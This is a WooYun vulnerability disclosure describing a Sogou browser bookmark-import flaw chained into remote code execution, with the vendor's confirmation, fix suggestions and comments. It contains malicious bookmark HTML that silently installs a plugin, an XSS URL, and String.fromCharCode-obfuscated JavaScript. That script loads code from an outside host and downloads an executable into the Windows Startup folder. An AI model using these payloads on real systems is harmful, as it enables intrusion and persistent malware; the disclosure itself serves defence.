当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144563

漏洞标题:搜狗浏览器功能设计缺陷可导致远程命令执行

相关厂商:搜狗

漏洞作者: 梧桐雨

提交时间:2015-10-02 21:53

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-02: 细节已通知厂商并且等待厂商处理中
2015-10-08: 厂商已经确认,细节仅向厂商公开
2015-10-11: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-02: 细节向核心白帽子及相关领域专家公开
2015-12-12: 细节向普通白帽子公开
2015-12-22: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

某功能设计缺陷可导致给用户电脑种下后门

详细说明:

搜狗浏览器最新版:

QQ图片20151002194731.png


搜狗浏览器在设计收藏夹导入功能的时候存在一个致命的缺陷,导入html的时候,允许导入href="javascript://执行js代码"。
chrome虽然也允许导入此类代码,但是到了具体的执行层面,chrome浏览器执行为about:blank域。对用户是没有危害的,而搜狗浏览器执行的域则为当前域:se://bookmarks/ 同类浏览器(猎豹,360,傲游均为about:blank)
具体代码如下:制作恶意的一份html代码:(收藏代码)

<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
Do Not Edit! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DL><p>
<DT><A HREF="javascript:alert(document.domain)" ADD_DATE="1431332708" LAST_VISIT="1431333174" LAST_MODIFIED="1431333174">收藏我吧,少年</A>
</DL><p>


虽然是html格式,但是没办法注入:<script>,<img>,<iframe>等别的html代码来触发js。仅仅只能通过href链接的方式执行javascript伪协议。
通过上面的代码,我们来看看不同浏览器的表现形式:
通过chrome浏览器导入:

html-chrome.jpg


导入之后的恶意链接:

2333.jpg


点击之后显示当前的域为:

about.jpg


再看看傲游:

2333.jpg


23333.jpg


3222.jpg


115:

115.jpg


别的浏览器都差不多,不一一列举。
看看搜狗的:

2222.jpg


123.jpg


se.jpg


可以看到域为:se://,没有对收藏内容部分和域部分像chrome那样做隔离。为后面的代码执行埋下的隐患。
而在前面我提交的案例中:http://wooyun.org/bugs/wooyun-2010-0124547
对xss进行修复,但是图片查看器的xss以及download函数均还是原来的样子,这样一来,我们可以借助该漏洞进行对用户静默安装存在缺陷的图片查看器插件,通过该插件来再一次实现命令执行:
制作恶意html为:

<!DOCTYPE NETSCAPE-Bookmark-file-1>
<!-- This is an automatically generated file.
It will be read and overwritten.
Do Not Edit! -->
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
<TITLE>Bookmarks</TITLE>
<H1>Bookmarks</H1>
<DL><p>
<DT><A HREF="javascript:window.open('se://sidebarextmanager/index.html').external.extension('installExtFromSidebarBox', 'com.sogou.cxj009.PicViewer', '1.0.0', '邪恶插件
', '-1', 'undefined', 'undefined', 'function(){}');" ADD_DATE="1431332708" LAST_VISIT="1431333174" LAST_MODIFIED="1431333174">123</A>
</DL><p>


用户点击之前,搜狗浏览器并未安装缺陷插件:

ce1.jpg


点击之后:

xx.jpg


可以看到缺陷插件已经被安装,这样一来,我们又可以用这个技巧,进行命令执行:
http://wooyun.org/bugs/wooyun-2010-0124547
首先是一处你们未修复的xss漏洞:
http://www.sogou.com/index.htm?pid="><svg><script>/<1/>eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,115,111,103,111,117,112,111,99,46,106,115);document.body.appendChild(window.s)')</script></svg>
上面这xss可能不太好用(因为会一直调用我的js,可能会导致弹窗很多次。),但是为了证明问题我也懒得再找了,况且这也不是问题的关键。
该xss的作用是跳转至插件域,并且触发download函数,对木马进行远程下载。其中js实现部分:

!function(){

setInterval(function(){document.title="<img src onerror=outerHTML=URL>"},1000);

if(/Windows NT 6/.test(navigator.userAgent)){
setTimeout(function(){window.open("se-extension://ext-1588466412/v.html#<img src onerror=eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,99,97,108,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,80,114,111,103,114,97,109,68,97,116,97,92,92,77,105,99,114,111,115,111,102,116,92,92,87,105,110,100,111,119,115,92,92,83,116,97,114,116,32,77,101,110,117,92,92,80,114,111,103,114,97,109,115,92,92,83,116,97,114,116,117,112,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41))>")},4000);
alert(1);
return false;
}else{
setTimeout(function(){window.open("se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,99,97,108,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,68,111,99,117,109,101,110,116,115,32,97,110,100,32,83,101,116,116,105,110,103,115,92,92,65,100,109,105,110,105,115,116,114,97,116,111,114,92,92,12300,24320,22987,12301,33756,21333,92,92,31243,24207,92,92,21551,21160,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41) )")},4000);
alert(1);
return false;
}
return false;
}();

漏洞证明:

可能上面写那么多比较乱,用一张图来概括:

run.jpg


录制了一个比较简陋的视频= =,因为打开窗口比较卡,换个xss会比较好,证明问题存在即可:
链接: http://pan.baidu.com/s/1dD58Ljj 密码: b32c

修复方案:

1:设置收藏夹的link 匹配到javascript协议,跳转至about:blank,具体实现参考chrome开发文档。
2:看图插件的xss这么久都没修复,还是修复一下吧,这也是问题之一。
3:校验插件域,sogou.com 不允许随意跳转。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-08 12:02

厂商回复:

感谢支持!

最新状态:

暂无


漏洞评价:

评价

  1. 2015-10-02 22:03 | xsser 认证白帽子 ( 普通白帽子 | Rank:267 漏洞数:20 | 当我又回首一切,这个世界会好吗?)

    可惜就是要太多条件啊

  2. 2015-10-02 22:24 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1628 漏洞数:188 | 新年快乐!)

    @xsser =。=是的,不过如果代码整合一下能让过程更少一些的

  3. 2015-10-02 22:25 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊,我们还有音乐)

    鸡肋?

  4. 2015-10-02 22:29 | 梧桐雨 认证白帽子 ( 核心白帽子 | Rank:1628 漏洞数:188 | 新年快乐!)

    @数据流 =。=需要2个步骤,也算鸡肋吧

  5. 2015-10-02 23:39 | 数据流 认证白帽子 ( 普通白帽子 | Rank:738 漏洞数:93 | 没关系啊,我们还有音乐)

    @梧桐雨 可惜。。。

  6. 2015-10-03 11:23 | nony ( 路人 | Rank:28 漏洞数:14 | Not do is die...)

    梧桐雨是和浏览器过不去了...

  7. 2015-10-03 16:21 | 八戒 ( 路人 | Rank:17 漏洞数:3 | ~~鬼畜之王~~)

    雨的必须支持